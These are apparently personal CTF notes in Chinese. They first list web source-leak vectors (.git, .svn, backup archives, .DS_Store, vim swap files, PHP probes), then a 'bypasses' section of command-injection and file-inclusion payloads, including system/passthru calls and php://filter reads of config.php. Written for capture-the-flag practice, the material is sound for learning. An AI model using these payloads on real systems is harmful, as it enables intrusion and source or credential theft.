CTF中的一些做题姿势

版本控制漏洞

.git 用来记录代码的变更记录等

.svn SVN是一个开放源代码的版本控制系统 ,在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息

.hg 是一种轻量级分布式版本控制系统,使用 hg init的时候会生成.hg。

CVS CVS是一个C/S系统,多个开发人员通过一个中心版本控制系统来记录文件版本,从而达到保证文件同步的目的。

.bzr

压缩文件 管理员将网站源代码备份在Web目录下,攻击者通过猜解文件路径,下载备份文件,导致源代码泄露。用御剑扫。

  • .rar
  • .zip
  • .7z
  • .tar.gz
  • .bak
  • .txt
  • .old
  • .temp

WEB-INF/web.xml 泄露WEB-INF是Java的WEB应用的安全目录,如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。

DS_Store 文件泄露.DS_Store是Mac下Finder用来保存如何展示 文件/文件夹 的数据文件,每个文件夹下对应一个。如果将.DS_Store上传部署到服务器,可能造成文件目录结构泄漏,特别是备份文件、源代码文件。

.filename.swp。swp即swap文件,在编辑文件时产生的临时文件,它是隐藏文件,如果程序正常退出,临时文件自动删除,如果意外退出就会保留,文件名为 .filename.swp

vim是linux自带且常用的文件编辑器,vim在编辑时会生成一个隐藏的临时文件,当vim非正常关闭时这个文件就会被保留下来。 使用vim时意外退出,会在目录下生成一个备份文件,格式为 .文件名.swp,访问/.index.php.swp下载备份文件,用记事本打开即可

域名txt记录泄露 http://www.jsons.cn/nslookup/输入域名

/tz.php 探针泄露 PHP探针实际上是一种Web脚本程序,主要是用来探测虚拟空间、服务器的运行状况,而本质上是通过PHP语言实现探测PHP服务器敏感信息的脚本文件,通常用于探测网站目录、服务器操作系统、PHP版本、数据库版本、CPU、内存、组件支持等,基本能够很全面的了解服务器的各项信息。phpinfo() 是 PHP 中的一个函数,用于显示 PHP 运行环境的配置信息。该函数可以显示 PHP 的版本信息、编译器信息、模块信息、配置信息等,可以帮助开发者了解 PHP 的运行环境和配置信息。

访问网站:尝试index.phps或index.php再在index.php中进行操作

绕过

1000=~~1000='1000'=999||1000

?id=system('cat flag'); ?id=passthru('tac+fl\ag')?>

system--->passthru show_source

?id=a=base64_encode('被ban的关键字');passthru('tac a');


①涉及到一个php的代码结构,.....②payload为:?c=include _GET[a]?>,等同于,php的最后一行代码可以省去分号.....③include函数包含文件,且题目是对参数c正则过滤,因此GET型传参a可以绕过,从而执行我们的伪协议文件命令,读取config.php文件:php://filter/convert.base64-encode/resource=./config.php④因此连起来构造的payload为: ?c=include _GET[a]?>&a=php://filter/convert.base64-encode/resource=config.php

?c=echo $_GET[a]?>&a=cat config.php 将命令用变量a传入

?c=echo $flag?>


新增对*、?、<>、=过滤,但取消了对;过滤。括号被过滤导致函数不能使用,需要用反引号`执行命令。并且过滤了config、php关键字,导致无法直接查看文件。 再次查看代码,这些过滤只对GET请求的参数有效,对POST请求并未限制,可以提交POST请求提交命令。 构造url:?c=echo$_POST[a]`; 利用hackbar提交post参数:a=cat config.php

?url=/var/log/nginx/access.log ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php